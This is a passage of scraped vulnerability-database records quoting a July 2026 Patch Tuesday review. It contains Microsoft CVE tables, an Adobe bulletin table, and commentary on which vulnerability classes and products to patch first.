CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:02:55.933385Z"}, {"uuid": "cabce3fb-39fd-4430-bc32-58daaed77426", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54990", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  